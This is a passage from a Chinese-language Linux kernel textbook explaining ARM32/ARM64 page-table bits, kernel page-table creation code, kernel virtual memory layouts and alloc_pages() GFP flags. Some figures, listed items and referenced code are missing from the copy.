#define PTE_EXT_AP_URO_SRW  (PTE_EXT_AP1)
#define PTE_EXT_AP_URW_SRW  (PTE_EXT_AP1|PTE_EXT_AP0)
#define PTE_EXT_TEX(x)      (_AT(pteval_t, (x)) << 6)     /* v5 */
#define PTE_EXT_APX     (_AT(pteval_t, 1) << 9)          /* v6 */
#define PTE_EXT_COHERENT     (_AT(pteval_t, 1) << 9)          /* XScale3 */
#define PTE_EXT_SHARED       (_AT(pteval_t, 1) << 10)     /* v6 */
#define PTE_EXT_NG           (_AT(pteval_t, 1) << 11)     /* v6 */

Linux内核定义的PTE页面表相关的软件标志位如下:

[arch/arm/include/asm/pgtable-2level.h]

/*
 * "Linux" PTE definitions.
 *
 * We keep two sets of PTEs - the hardware and the linux version.
 * This allows greater flexibility in the way we map the Linux bits
 * onto the hardware tables, and allows us to have YOUNG and DIRTY
 * bits.
 *
 * The PTE table pointer refers to the hardware entries; the "Linux"
 * entries are stored 1024 bytes below.
 */
#define L_PTE_VALID         (_AT(pteval_t, 1) << 0)       /* Valid */
#define L_PTE_PRESENT           (_AT(pteval_t, 1) << 0)
#define L_PTE_YOUNG         (_AT(pteval_t, 1) << 1)
#define L_PTE_DIRTY         (_AT(pteval_t, 1) << 6)
#define L_PTE_RDONLY            (_AT(pteval_t, 1) << 7)
#define L_PTE_USER          (_AT(pteval_t, 1) << 8)
#define L_PTE_XN        (_AT(pteval_t, 1) << 9)
#define L_PTE_SHARED           (_AT(pteval_t, 1) << 10)   /* shared(v6), coherent(xsc3) */
#define L_PTE_NONE          (_AT(pteval_t, 1) << 11) 

第9~10行代码设置ARM硬件页表的PTE_EXT_TEX比特位。

第13~15行代码设置ARM硬件页表的PTE_EXT_APX比特位。

第17~18行代码设置ARM硬件页表的PTE_EXT_AP1比特位。

第20~21行代码设置ARM硬件页表的PTE_EXT_XN比特位。

第23~27行代码,在旧版本的Linux内核代码中(例如Linux 3.7),等同于如下代码片段:

tst  r1, #L_PTE_YOUNG
tstne     r1, #L_PTE_PRESENT
moveq     r3, #0

如果没有设置L_PTE_YOUNG并且L_PTE_PRESENT置位,那就保持Linux版本的页表不变,把ARM32硬件版本的页面表项内容清零。代码中的L_PTE_VALID[2]和L_PTE_NONE[3]这两个软件比特位是后来添加的,因此在Linux 3.7及以前的内核版本中更容易理解一些。

为什么这里要把ARM硬件版本的页面表项内容清零呢?我们观察ARM32硬件版本的页面表的相关标志位会发现,没有表示页面被访问和页面在内存中的硬件标志位。Linux内核最早是基于x86体系结构设计的,所以Linux内核关于页表的很多术语和设计都针对x86架构,而ARM Linux只能从软件架构上去跟随了,因此设计了两套页表。在x86的页面表中有3个标志位是ARM32硬件页面表没有提供的。

因此在ARM Linux实现中需要模拟上述3个比特位。

如何模拟PTE_DIRTY呢?在ARM MMU硬件为一个干净页面建立映射时,设置硬件页表项是只读权限的。当往一个干净的页面写入时,会触发写权限缺页中断(虽然Linux版本的页面表项标记了可写权限,但是ARM硬件页面表项还不具有写入权限),那么在缺页中断处理handle_pte_fault()中会在该页的Linux版本PTE页面表项标记为“dirty”,并且发现PTE页表项内容改变了,ptep_set_access_flags()函数会把新的Linux版本的页表项内容写入硬件页表,从而完成模拟过程。

如何模拟PTE_YOUNG和PTE_PRESENT呢?

特别是PTE_YOUNG比特位在页面换出换入机制中起到非常重要的作用,在第2.13节中会详细介绍。

读者可以先思考,对于匿名页面来说,什么时候第一次设置Linux版本页表的L_PTE_PRESENT | L_PTE_YOUNG比特位?

对于ARM64架构来说,目前基于ARMv8-A架构的处理器最大可以支持到48根地址线,也就是寻址248的虚拟地址空间,即虚拟地址空间范围为0x0000_0000_0000_0000~0x0000_FFFF_FFFF_FFFF,共256TB。理论上完全可以做到64根地址线,那么最大就可以寻找到264的虚拟地址空间。但是对于目前的应用来说,256TB的虚拟地址空间已经足够使用了。因为如果支持64位虚拟地址空间,意味着处理器设计需要考虑更多的地址线,CPU的设计复杂度会增大。

基于ARMv8-A架构的处理器的虚拟地址分成两个区域。一个是从0x0000_0000_0000_0000到0x0000_FFFF_FFFF_FFFF,另外一个是从0xFFFF_0000_0000_0000到0xFFFF_FFFF_FFFF_FFFF。

基于ARMv8-A架构的处理器可以通过配置CONFIG_ARM64_VA_BITS这个宏来设置虚拟地址的宽度。

[arch/arm64/Kconfig]

config ARM64_VA_BITS
        int
        default 39 if ARM64_VA_BITS_39
        default 42 if ARM64_VA_BITS_42
        default 48 if ARM64_VA_BITS_48

另外基于ARMv8-A架构的处理器支持的最大物理地址宽度也是48位。

Linux内存空间布局与地址映射的粒度和地址映射的层级有关。基于ARMv8-A架构的处理器支持的页面大小可以是4KB、16KB或者64KB。映射的层级可以是3级或者4级。

下面是页面大小为4KB,地址宽度为48位,4级映射的内存分布图:

AArch64 Linux memory layout with 4KB pages + 4 levels:
Start           End           Size    Use
-----------------------------------------------------------------
0000000000000000    0000ffffffffffff 256TB      user 
ffff000000000000   ffffffffffffffff  256TB      kernel

下面是页面大小为4KB,地址宽度为48位,3级映射的内存分布图:

AArch64 Linux memory layout with 4KB pages + 3 levels:
Start           End           Size    Use
------------------------------------------------------------
0000000000000000  0000007fffffffff     512GB          user 
ffffff8000000000  ffffffffffffffff     512GB          kernel

Linux内核的documentation/arm64/memory.txt文件中还有其他不同配置的内存分布图。

我们的QEMU实验平台配置4KB大小页面,48位地址宽度,4级映射,下面以此为蓝本介绍ARM64的地址映射过程。

如图2.5所示,地址转换过程如下。

图2.5 基于ARMv8-A架构的处理器虚拟地址查找(4KB页)

(1)如果输入的虚拟地址最高位bit[63]为1,那么这个地址是用于内核空间的,页表的基地址寄存器用TTBR1_EL1(Translation Table Base Register 1)。如果bit[63]等于0,那么这个虚拟地址属于用户空间,页表基地址寄存器用TTBR0。

(2)TTBRx寄存器保存了第0级页表的基地址(L0 Table base address,Linux内核中称为PGD),L0页表中有512个表项(Table Descriptor),以虚拟地址的bit[47:39]作为索引值在L0页表中查找相应的表项。每个表项的内容含有下一级页表的基地址,即L1页表(Linux内核中称为PUD)的基地址。

(3)PUD页表中有512个表项,以虚拟地址的bit[38:30]为索引值在PUD表中查找相应的表项,每个表项的内容含有下一级页表的基地址,即L2页表(Linux内核中称为PMD)的基地址。

(4)PMD页表中有512个表项,以虚拟地址的bit[29:21]为索引值在PMD表中查找相应的表项,每个表项的内容含有下一级页表的基地址,即L3页表(Linux内核中称为PTE)的基地址。

(5)在PTE页表中,以虚拟地址的bit[20:12]为索引值在PTE表中查找相应的表项,每个PTE表项中含有最终的物理地址的bit[47:12],和虚拟地址中bit[11:0]合并成最终的物理地址,完成地址翻译过程。

在内核初始化阶段会对内核空间的页表进行一一映射,实现的函数依然是create_mapping()。

[start_kenrel-> setup_arch->paging_init->map_mem->__map_memblock-> create_mapping]

static void __ref create_mapping(phys_addr_t phys, unsigned long virt,
                     phys_addr_t size, pgprot_t prot)
{
     if (virt < VMALLOC_START) {
           pr_warn("BUG: not creating mapping for %pa at 0x%016lx - outside kernel range\n",
               &phys, virt);
           return;
     }
     __create_mapping(&init_mm, pgd_offset_k(virt & PAGE_MASK), phys, virt,
             size, prot, early_alloc);
}

首先会做虚拟地址的检查,低于VMALLOC_START的地址空间不是有效的内核虚拟地址空间。VMALLOC_START等于0xffff_0000_0000_0000。

PGD页表的基地址和ARM32内核一样,通过init_mm数据结构的pgd成员来获取,swapper_pg_dir全局变量指向PGD页表基地址。

 [arch/arm64/kernel/vmlinux.lds.S]

idmap_pg_dir = .;
. += IDMAP_DIR_SIZE;
swapper_pg_dir = .;
. += SWAPPER_DIR_SIZE;

[arch/arm64/include/asm/page.h]

#define SWAPPER_PGTABLE_LEVELS  (CONFIG_ARM64_PGTABLE_LEVELS - 1)
#define SWAPPER_DIR_SIZE     (SWAPPER_PGTABLE_LEVELS * PAGE_SIZE) 

假设CONFIG_ARM64_PGTABLE_LEVELS定义为4,那么SWAPPER_DIR_SIZE大小就等于3个PAGE_SIZE的大小。从vmlinux.lds.S链接文件可以看到,PGD页表的大小定义为3个PAGE_SIZE。swapper_pg_dir的起始地址由vmlinux.lds.S链接文件计算得来,在我们QEMU实验平台,它的地址是0xffff80000095f800。

下面要通过pgd_offset_k()宏来得到具体的PGD页面目录项的表项。首先通过init_mm数据结构的pgd成员来获取PGD页表的基地址,然后通过pgd_index()来计算PGD页表中的偏移量offset。

/* to find an entry in a kernel page-table-directory */
#define pgd_offset_k(addr)   pgd_offset(&init_mm, addr)

#define pgd_offset(mm, addr)     ((mm)->pgd+pgd_index(addr))

/* to find an entry in a page-table-directory */
#define pgd_index(addr)     (((addr) >> PGDIR_SHIFT) & (PTRS_PER_PGD - 1)) 

在pgtable-hwdef.h头文件中,定义了PGDIR_SHIFT、PUD_SHIFT和PMD_SHIFT的宏。在我们QEMU的ARM64的实验平台上,定义了4级页表,也就是CONFIG_ARM64_PGTABLE_LEVELS等于4,另外VA_BITS定义为48。那么通过计算可以得到PGDIR_SHIFT等于39,PUD_SHIFT等于30,PMD_SHIFT等于21。每级页表的页表项数目分别用PTRS_PER_PGD、PTRS_PER_PUD、PTRS_PER_PMD和PTRS_PER_PTE来表示,都等于512。PGDIR_SIZE宏表示一个PGD页表项能覆盖的内存范围大小为512GB。PUD_SIZE等于1GB,PMD_SIZE等于2MB,PAGE_SIZE等于4KB。

[arch/arm64/include/asm/pgtable-hwdef.h]

#define PTRS_PER_PTE     (1 << (PAGE_SHIFT - 3))

/*
 * PMD_SHIFT determines the size a level 2 page table entry can map.
 */
#if CONFIG_ARM64_PGTABLE_LEVELS > 2
#define PMD_SHIFT      ((PAGE_SHIFT - 3) * 2 + 3) //20
#define PMD_SIZE       (_AC(1, UL) << PMD_SHIFT)
#define PMD_MASK       (~(PMD_SIZE-1))
#define PTRS_PER_PMD       PTRS_PER_PTE
#endif

/*
 * PUD_SHIFT determines the size a level 1 page table entry can map.
 */
#if CONFIG_ARM64_PGTABLE_LEVELS > 3
#define PUD_SHIFT      ((PAGE_SHIFT - 3) * 3 + 3)  //30
#define PUD_SIZE   (_AC(1, UL) << PUD_SHIFT)
#define PUD_MASK       (~(PUD_SIZE-1))
#define PTRS_PER_PUD       PTRS_PER_PTE
#endif

/*
 * PGDIR_SHIFT determines the size a top-level page table entry can map
 * (depending on the configuration, this level can be 0, 1 or 2).
 */
#define PGDIR_SHIFT        ((PAGE_SHIFT - 3) * CONFIG_ARM64_PGTABLE_LEVELS + 3)  //39
#define PGDIR_SIZE         (_AC(1, UL) << PGDIR_SHIFT)
#define PGDIR_MASK         (~(PGDIR_SIZE-1))
#define PTRS_PER_PGD           (1 << (VA_BITS - PGDIR_SHIFT))

#define VA_BITS            (CONFIG_ARM64_VA_BITS) 

这里CONFIG_ARM64_VA_BITS一般定义为48。假设页表的层数大于3,PGDIR_SHIFT为39,那么pgd_index()就是以虚拟地址中第39~48位作为偏移量,代码里先把虚拟地址右移39位,然后再与上PTRS_PER_PGD。

在__create_mapping()函数中,以PGDIR_SIZE为步长遍历内存区域[virt, virt+size],然后通过调用alloc_init_pud()来初始化PGD页表项内容和下一级页表PUD。pgd_addr_end()以PGDIR_SIZE为步长。

/*
 * Create the page directory entries and any necessary page tables for the
 * mapping specified by 'md'.
 */
static void  __create_mapping(struct mm_struct *mm, pgd_t *pgd,
                     phys_addr_t phys, unsigned long virt,
                     phys_addr_t size, pgprot_t prot,
                     void *(*alloc)(unsigned long size))
{
     unsigned long addr, length, end, next;

     addr = virt & PAGE_MASK;
     length = PAGE_ALIGN(size + (virt & ~PAGE_MASK));

     end = addr + length;
     do {
          next = pgd_addr_end(addr, end);
          alloc_init_pud(mm, pgd, addr, next, phys, prot, alloc);
          phys += next - addr;
     } while (pgd++, addr = next, addr != end);
}

下面看alloc_init_pud()函数。

[create_mapping->__create_mapping-> alloc_init_pud]

static void alloc_init_pud(struct mm_struct *mm, pgd_t *pgd,
                       unsigned long addr, unsigned long end,
                       phys_addr_t phys, pgprot_t prot,
                       void *(*alloc)(unsigned long size))
{
     pud_t *pud;
     unsigned long next;

     if (pgd_none(*pgd)) {
          pud = alloc(PTRS_PER_PUD * sizeof(pud_t));
          pgd_populate(mm, pgd, pud);
     }

     pud = pud_offset(pgd, addr);
     do {
          next = pud_addr_end(addr, end);

          /*
           * For 4K granule only, attempt to put down a 1GB block
           */
          if (use_1G_block(addr, next, phys)) {
                pud_t old_pud = *pud;
                set_pud(pud, __pud(phys |
                           pgprot_val(mk_sect_prot(prot))));

                /*
                 * If we have an old value for a pud, it will
                 * be pointing to a pmd table that we no longer
                 * need (from swapper_pg_dir).
                 *
                 * Look up the old pmd table and free it.
                 */
                if (!pud_none(old_pud)) {
                      flush_tlb_all();
                      if (pud_table(old_pud)) {
                           phys_addr_t table = __pa(pmd_offset(&old_pud, 0));
                           if (!WARN_ON_ONCE(slab_is_available()))
                                memblock_free(table, PAGE_SIZE);
                      }
                }
           } else {
                alloc_init_pmd(mm, pud, addr, next, phys, prot, alloc);
           }
           phys += next - addr;
     } while (pud++, addr = next, addr != end);
}

alloc_init_pud()函数会做如下事情。

(1)通过pgd_none()判断当前PGD表项内容是否为空。如果PGD表项内容为空,说明下一级页表为空,那么需要动态分配下一级页表。下一级页表PUD一共有PTRS_PER_PUD个页表项,即512个表项,然后通过pgd_populate()把刚分配的PUD页表设置到相应的PGD页表项中。

(2)通过pud_offset()来获取相应的PUD表项。这里会通过pud_index()宏来计算索引值,计算方法和pgd_index()函数类似,最终使用虚拟地址的bit[38~30]位来做索引值。

(3)接下来以PUD_SIZE(即1<<30, 1GB)为步长,通过while循环来设置下一级页表。

(4)use_1G_block()函数会判断是否使用1GB大小的block来映射?当这里要映射的大小内存块正好是PUD_SIZE,那么只需要映射到PUD就好了,接下来的PMD和PTE页表等到真正需要使用时再映射,通过set_pud()函数来设置相应的PUD表项。

(5)如果use_1G_block()函数判断不能通过1GB大小来映射,那么就需要调用alloc_init_pmd()函数来进行下一级页表的映射。

static void alloc_init_pmd(struct mm_struct *mm, pud_t *pud,
                       unsigned long addr, unsigned long end,
                       phys_addr_t phys, pgprot_t prot,
                       void *(*alloc)(unsigned long size))
{
     pmd_t *pmd;
     unsigned long next;

     /*
      * Check for initial section mappings in the pgd/pud and remove them.
      */
     if (pud_none(*pud) || pud_sect(*pud)) {
          pmd = alloc(PTRS_PER_PMD * sizeof(pmd_t));
          if (pud_sect(*pud)) {
               /*
                * need to have the 1G of mappings continue to be
                * present
                */
               split_pud(pud, pmd);
          }
          pud_populate(mm, pud, pmd);
          flush_tlb_all();
     }

     pmd = pmd_offset(pud, addr);
     do {
          next = pmd_addr_end(addr, end);
          /* try section mapping first */
          if (((addr | next | phys) & ~SECTION_MASK) == 0) {
               pmd_t old_pmd =*pmd;
               set_pmd(pmd, __pmd(phys |
                         pgprot_val(mk_sect_prot(prot))));
               /*
                * Check for previous table entries created during
                * boot (__create_page_tables) and flush them.
                */
               if (!pmd_none(old_pmd)) {
                    flush_tlb_all();
                    if (pmd_table(old_pmd)) {
                         phys_addr_t table = __pa(pte_offset_map(&old_pmd, 0));
                         if (!WARN_ON_ONCE(slab_is_available()))
                              memblock_free(table, PAGE_SIZE);
                    }
               }
          } else {
               alloc_init_pte(pmd, addr, next, __phys_to_pfn(phys),
                           prot, alloc);
          }
          phys += next - addr;
     } while (pmd++, addr = next, addr != end);
}

alloc_init_pmd()函数用于配置PMD页表,主要做如下事情。

(1)首先判断PUD页表项的内容是否为空?如果为空,表示PUD指向的下一级页表PMD不存在,需要动态分配PMD页表。分配PTRS_PER_PMD个页表项,即512个,然后通过pud_populate()来设置pud页表项。

(2)通过pmd_offset()宏来获取相应的PUD表项。这里会通过pud_index()来计算索引值,计算方法和pgd_index()函数类似,最终使用虚拟地址的bit[29:21]位来做索引值。

(3)接下来以PMD_SIZE(即1<<21, 2MB)为步长,通过while循环来设置下一级页表。

(4)如果虚拟区间的开始地址addr和结束地址next,以及物理地址phys都与SECTION_SIZE(2MB)大小对齐,那么直接设置PMD页表项,不需要映射下一级页表。下一级页表等到需要用时再映射也来得及,所以这里直接通过set_pmd()设置PMD页表项。

(5)如果映射的内存不是和SECTION_SIZE对齐的,那么需要通过alloc_init_pte()函数来映射下一级PTE页表。

static void alloc_init_pte(pmd_t *pmd, unsigned long addr,
                       unsigned long end, unsigned long pfn,
                       pgprot_t prot,
                       void *(*alloc)(unsigned long size))
{
     pte_t *pte;

     if (pmd_none(*pmd) || pmd_sect(*pmd)) {
          pte = alloc(PTRS_PER_PTE * sizeof(pte_t));
          if (pmd_sect(*pmd))
               split_pmd(pmd, pte);
          __pmd_populate(pmd, __pa(pte), PMD_TYPE_TABLE);
          flush_tlb_all();
     }
     BUG_ON(pmd_bad(*pmd));

     pte = pte_offset_kernel(pmd, addr);
     do {
          set_pte(pte, pfn_pte(pfn, prot));
          pfn++;
     } while (pte++, addr += PAGE_SIZE, addr != end);
}

PTE页表是4级页表的最后一级,alloc_init_pte()配置PTE页表项。

(1)首先判断PMD表项的内容是否为空?如果为空,说明下一级页表不存在,需要动态分配512个页表项,然后通过__pmd_populate()函数来设置PMD页表项。

(2)通过pte_offset_kernel()宏来索引到相应的PTE页表项。索引值可以通过pte_index()来计算,最终会使用虚拟地址bit[20:12]来做索引值。

(3)接下来以PAGE_SIZE即4KB大小为步长,通过while循环来设置PTE页表项。

在阅读本节前请思考如下小问题。

Linux内核在启动时会打印出内核内存空间的布局图,下面是ARM Vexpress平台打印出来的内存空间布局图:

Virtual kernel memory layout:
    vector  : 0xffff0000 - 0xffff1000  (   4 kB)
    fixmap  : 0xffc00000 - 0xfff00000  (3072 kB)
    vmalloc : 0xf0000000 - 0xff000000  ( 240 MB)
    lowmem  : 0xc0000000 - 0xef800000  ( 760 MB)
    pkmap   : 0xbfe00000 - 0xc0000000  (   2 MB)
    modules : 0xbf000000 - 0xbfe00000  (  14 MB)
     .text : 0xc0008000 - 0xc0658750   (6466 kB)
     .init : 0xc0659000 - 0xc0782000   (1188 kB)
     .data : 0xc0782000 - 0xc07b1920   ( 191 kB)
     .bss : 0xc07b1920 - 0xc07db378    ( 167 kB)

这部分信息的打印是在mem_init()函数中实现的。

[start_kernel->mm_init->mem_init]

pr_notice("Virtual kernel memory layout:\n"
              "    vector  : 0x%08lx - 0x%08lx   (%4ld kB)\n"
              "    fixmap  : 0x%08lx - 0x%08lx   (%4ld kB)\n"
              "    vmalloc : 0x%08lx - 0x%08lx   (%4ld MB)\n"
              "    lowmem  : 0x%08lx - 0x%08lx   (%4ld MB)\n"
#ifdef CONFIG_HIGHMEM
              "    pkmap   : 0x%08lx - 0x%08lx   (%4ld MB)\n"
#endif
#ifdef CONFIG_MODULES
              "    modules : 0x%08lx - 0x%08lx   (%4ld MB)\n"
#endif
              "     .text : 0x%p" " - 0x%p" "   (%4td kB)\n"
              "     .init : 0x%p" " - 0x%p" "   (%4td kB)\n"
              "     .data : 0x%p" " - 0x%p" "   (%4td kB)\n"
              "     .bss : 0x%p" " - 0x%p" "   (%4td kB)\n",

              MLK(UL(CONFIG_VECTORS_BASE), UL(CONFIG_VECTORS_BASE) +
                  (PAGE_SIZE)),
              MLK(FIXADDR_START, FIXADDR_END),
              MLM(VMALLOC_START, VMALLOC_END),
              MLM(PAGE_OFFSET, (unsigned long)high_memory),
#ifdef CONFIG_HIGHMEM
              MLM(PKMAP_BASE, (PKMAP_BASE) + (LAST_PKMAP) *
                 (PAGE_SIZE)),
#endif
#ifdef CONFIG_MODULES
              MLM(MODULES_VADDR, MODULES_END),
#endif

              MLK_ROUNDUP(_text, _etext),
              MLK_ROUNDUP(__init_begin, __init_end),
              MLK_ROUNDUP(_sdata, _edata),
              MLK_ROUNDUP(__bss_start, __bss_stop)) 

编译器在编译目标文件并且链接完成之后,就可以知道内核映像文件最终的大小,接下来打包成二进制文件,该操作由arch/arm/kernel/vmlinux.ld.S控制,其中也划定了内核的内存布局。

内核image本身占据的内存空间从_text段到_end段,并且分为如下几个段。

上述几个段的大小在编译链接时根据内核配置来确定,因为每种配置的代码段和数据段长度都不相同,这取决于要编译哪些内核模块,但是起始地址_text总是相同的。内核编译完成之后,会生成一个System.map文件,查询这个文件可以找到这些地址的具体数值。

figo# cat System.map
...
c0008000 T _text
...
c0658750 A _etext
c0659000 A __init_begin
...
c0782000 A __init_end
c0782000 D _sdata
...
c07b1920 D _edata
c07b1920 A __bss_start
...
c07db378 A __bss_stop
c07db378 A _end
... 

内核模块使用虚拟地址从MODULES_VADDR到MODULES_END的这段14MB大小的内存区域。

#define MODULES_VADDR         (PAGE_OFFSET - SZ_16M)

/*
 * The highmem pkmap virtual space shares the end of the module area.
 */
#ifdef CONFIG_HIGHMEM
#define MODULES_END           (PAGE_OFFSET - PMD_SIZE)
#else
#define MODULES_END           (PAGE_OFFSET)
#endif

用户空间和内核空间使用3:1的划分方法时,内核空间只有1GB大小。这1GB的映射空间,其中有一部分用于直接映射物理地址,这个区域称为线性映射区。在ARM32平台上,物理地址[0:760MB]的这一部分内存被线性映射到[3GB:3GB+ 760MB]的虚拟地址上。线性映射区的虚拟地址和物理地址相差PAGEOFFSET,即3GB。内核中有相关的宏来实现线性映射区虚拟地址到物理地址的查找过程,例如\_pa(x)和__va(x)。

[arch/arm/include/asm/memory.h]

#define __pa(x)       __virt_to_phys((unsigned long)(x))
#define __va(x)       ((void *)__phys_to_virt((phys_addr_t)(x)))

static inline phys_addr_t __virt_to_phys(unsigned long x)
{
     return (phys_addr_t)x - PAGE_OFFSET + PHYS_OFFSET;
}

static inline unsigned long __phys_to_virt(phys_addr_t x)
{
     return x - PHYS_OFFSET + PAGE_OFFSET;
}

其中,__pa()把线性映射区的虚拟地址转换为物理地址,转换公式很简单,即用虚拟地址减去PAGE_OFFSET(3GB),然后加上PHYS_OFFSET(这个值在有的ARM平台上为0,在ARM Vexpress平台该值为0x6000_0000)。

那高端内存的起始地址(760MB)是如何确定的呢?

在内核初始化内存时,在sanity_check_meminfo()函数中确定高端内存的起始地址,全局变量high_memory来存放高端内存的起始地址。

[arch/arm/mm/mmu.c]

static void * __initdata vmalloc_min =
     (void *)(VMALLOC_END - (240 << 20) - VMALLOC_OFFSET);

void __init sanity_check_meminfo(void)
{
     phys_addr_t vmalloc_limit = __pa(vmalloc_min - 1) + 1;
     arm_lowmem_limit = vmalloc_limit;
     high_memory = __va(arm_lowmem_limit - 1) + 1;
}

vmalloc_min计算出来的结果是0x2F80_0000,即760MB。

为什么内核只线性映射760MB呢?剩下的264MB的虚拟地址空间用来做什么呢?

那是保留给vmalloc、fixmap和高端向量表等使用的。内核很多驱动使用vmalloc来分配连续虚拟地址的内存,因为有的驱动不需要连续物理地址的内存;除此以外,vmalloc还可以用于高端内存的临时映射。一个32bit系统中实际支持的内存数量会超过内核线性映射的长度,但是内核要具有对所有内存的寻找能力。

/*
 * Just any arbitrary offset to the start of the vmalloc VM area: the
 * current 8MB value just means that there will be a 8MB "hole" after the
 * physical memory until the kernel virtual memory starts.  That means that
 * any out-of-bounds memory accesses will hopefully be caught.
 * The vmalloc() routines leaves a hole of 4kB between each vmalloced
 * area for the same reason. ;)
 */
#define VMALLOC_OFFSET         (8*1024*1024)
#define VMALLOC_START          (((unsigned long)high_memory + VMALLOC_ OFFSET) & ~(VMALLOC_OFFSET-1))
#define VMALLOC_END            0xff000000UL

vmalloc区域在ARM32内核中,从VMALLOC_START开始到VMALLOC_END结束,即从0xf000_0000到0xff00_0000,大小为240MB。在VMALLOC_START开始之前有一个8MB的洞,用于捕捉越界访问。

内核通常把物理内存低于760MB的称为线性映射内存(Normal Memory),而高于760MB以上的称为高端内存(High Memory)。由于32位系统的寻址能力只有4GB,对于物理内存高于760MB而低于4GB的情况,我们可以从保留的240MB的虚拟地址空间中划出一部分用于动态映射高端内存,这样内核就可以访问到全部的4GB内存了。如果物理内存高于4GB,那么在ARMv7-A架构中就要使用LPE机制来扩展物理内存访问了。用于映射高端内存的虚拟地址空间有限,所以又可以划分为两部分,一部分为临时映射区,另一部分为固定映射区,PKMAP指向的就是固定映射区。如图2.6所示是ARM Vexpress平台上画出内核空间的内存布局图,详细可以参考内核中文档documentation/arm/memory.txt文件。

图2.6 ARM32内核内存布局图

ARM64架构处理器采用48位物理寻址机制,最大可以寻找256TB的物理地址空间。对于目前的应用来说已经足够了,不需要扩展到64位的物理寻址。虚拟地址也同样最大支持48位寻址,所以在处理器架构设计上,把虚拟地址空间划分为两个空间,每个空间最大支持256TB。Linux内核在大多数体系结构上都把两个地址空间划分为用户空间和内核空间。

64位Linux内核中没有高端内存这个概念了,因为48位的寻址空间已经足够大了。

在QEMU实验平台中,ARM64架构的Linux内核的内存分布图如下:

Virtual kernel memory layout:
    vmalloc : 0xffff000000000000 - 0xffff7bffbfff0000  (126974 GB)
    vmemmap : 0xffff7bffc0000000 - 0xffff7fffc0000000  (  4096 GB maximum)
             0xffff7bffc1000000 - 0xffff7bffc3000000  (    32 MB actual)
    fixed   : 0xffff7ffffabfe000 - 0xffff7ffffac00000  (     8 KB)
    PCI I/O : 0xffff7ffffae00000 - 0xffff7ffffbe00000  (   16 MB)
    modules : 0xffff7ffffc000000 - 0xffff800000000000  (     64 MB)
    memory  : 0xffff800000000000 - 0xffff800080000000  (    2048 MB)
     .init : 0xffff800000774000 - 0xffff8000008bc000  (     1312 KB)
     .text : 0xffff800000080000 - 0xffff8000007734e4  (     7118 KB)
     .data : 0xffff8000008c0000 - 0xffff80000091f400  (      381 KB)

如图2.7所示是ARM64架构处理器的Linux内核内存布局图。ARM64架构处理器的Linux内核内存布局如下。

图2.7 ARM64架构Linux内核的内存布局图

(1)用户空间:0x0000_0000_0000_0000到0x0000_ffff_ffff_ffff,一共有256TB。

(2)非规范区域。

(3)内核空间:0xffff_0000_0000_0000到0xffff_ffff_ffff_ffff,一共有256TB。

内核空间又做了如下细分。

在阅读本节前请思考如下小问题。

之前有提到伙伴系统是Linux内核中最基本的内存分配系统。伙伴系统的概念不难理解,但是一直以来,分配物理内存页面是内存管理中最复杂的部分,它涉及到页面回收、内存规整、直接回收内存等相当错综复杂的机制。本节关注在内存充足的情况下如何分配出连续物理内存。读者阅读完本书中的内存管理全部内容后,可以思考在最糟糕情况下页面分配器是如何分配出连续物理页面的。

内核中常用的分配物理内存页面的接口函数是alloc_pages(),用于分配一个或者多个连续的物理页面,分配的页面个数只能是2的整数次幂。相比于多次分配离散的物理页面,分配连续的物理页面有利于提高系统内存的碎片化,内存碎片化是一个很让人头疼的问题。alloc_pages()函数的参数有两个,一个是分配掩码gfp_mask,另一个是分配阶数order。

[include/linux/gfp.h]

#define alloc_pages(gfp_mask, order) \
          alloc_pages_node(numa_node_id(), gfp_mask, order)

分配掩码是非常重要的参数,它同样定义在gfp.h头文件中。

/* Plain integer GFP bitmasks. Do not use this directly. */
#define ___GFP_DMA          0x01u
#define ___GFP_HIGHMEM          0x02u
#define ___GFP_DMA32           0x04u
#define ___GFP_MOVABLE          0x08u
#define ___GFP_WAIT         0x10u
#define ___GFP_HIGH         0x20u
#define ___GFP_IO          0x40u
#define ___GFP_FS          0x80u
#define ___GFP_COLD         0x100u
#define ___GFP_NOWARN            0x200u
#define ___GFP_REPEAT           0x400u
#define ___GFP_NOFAIL           0x800u
#define ___GFP_NORETRY           0x1000u
#define ___GFP_MEMALLOC          0x2000u
#define ___GFP_COMP          0x4000u
#define ___GFP_ZERO          0x8000u
#define ___GFP_NOMEMALLOC         0x10000u
#define ___GFP_HARDWALL           0x20000u
#define ___GFP_THISNODE           0x40000u
#define ___GFP_RECLAIMABLE        0x80000u
#define ___GFP_NOTRACK            0x200000u
#define ___GFP_NO_KSWAPD           0x400000u
#define ___GFP_OTHER_NODE          0x800000u
#define ___GFP_WRITE             0x1000000u</code></pre>

分配掩码在内核代码中分成两类,一类叫zone modifiers,另一类叫action modifiers。zone modifiers指定从哪个zone中分配所需的页面。zone modifiers由分配掩码的最低4位来定义,分别是_GFP_DMA、__GFP_HIGHMEM、__GFP_DMA32和__GFP_MOVABLE。

/*
 * GFP bitmasks..
 *
 * Zone modifiers (see linux/mmzone.h - low three bits)
 *
 * Do not put any conditional on these. If necessary modify the definitions
 * without the underscores and use them consistently. The definitions here may
 * be used in bit comparisons.
 */
#define __GFP_DMA   ((__force gfp_t)___GFP_DMA)
#define __GFP_HIGHMEM   ((__force gfp_t)___GFP_HIGHMEM)
#define __GFP_DMA32 ((__force gfp_t)___GFP_DMA32)
#define __GFP_MOVABLE   ((__force gfp_t)___GFP_MOVABLE)  /* Page is movable */
#define GFP_ZONEMASK     (__GFP_DMA|__GFP_HIGHMEM|__GFP_DMA32|__GFP_MOVABLE)

action modifiers并不限制从哪个内存域中分配内存,但会改变分配行为,其定义如下:

/*
 * Action modifiers - doesn't change the zoning
 *
 */
#define __GFP_WAIT  ((__force gfp_t)___GFP_WAIT)     /* Can wait and reschedule? */
#define __GFP_HIGH  ((__force gfp_t)___GFP_HIGH)     /* Should access emergency pools? */
#define __GFP_IO ((__force gfp_t)___GFP_IO)  /* Can start physical IO? */
#define __GFP_FS ((__force gfp_t)___GFP_FS)  /* Can call down to low-level FS? */
#define __GFP_COLD  ((__force gfp_t)___GFP_COLD)     /* Cache-cold page required */
#define __GFP_NOWARN     ((__force gfp_t)___GFP_NOWARN)  /* Suppress page allocation failure warning */
#define __GFP_REPEAT     ((__force gfp_t)___GFP_REPEAT)  /* See above */
#define __GFP_NOFAIL     ((__force gfp_t)___GFP_NOFAIL)  /* See above */
#define __GFP_NORETRY   ((__force gfp_t)___GFP_NORETRY) /* See above */
#define __GFP_MEMALLOC  ((__force gfp_t)___GFP_MEMALLOC)/* Allow access to emergency reserves */
#define __GFP_COMP  ((__force gfp_t)___GFP_COMP) /* Add compound page metadata */
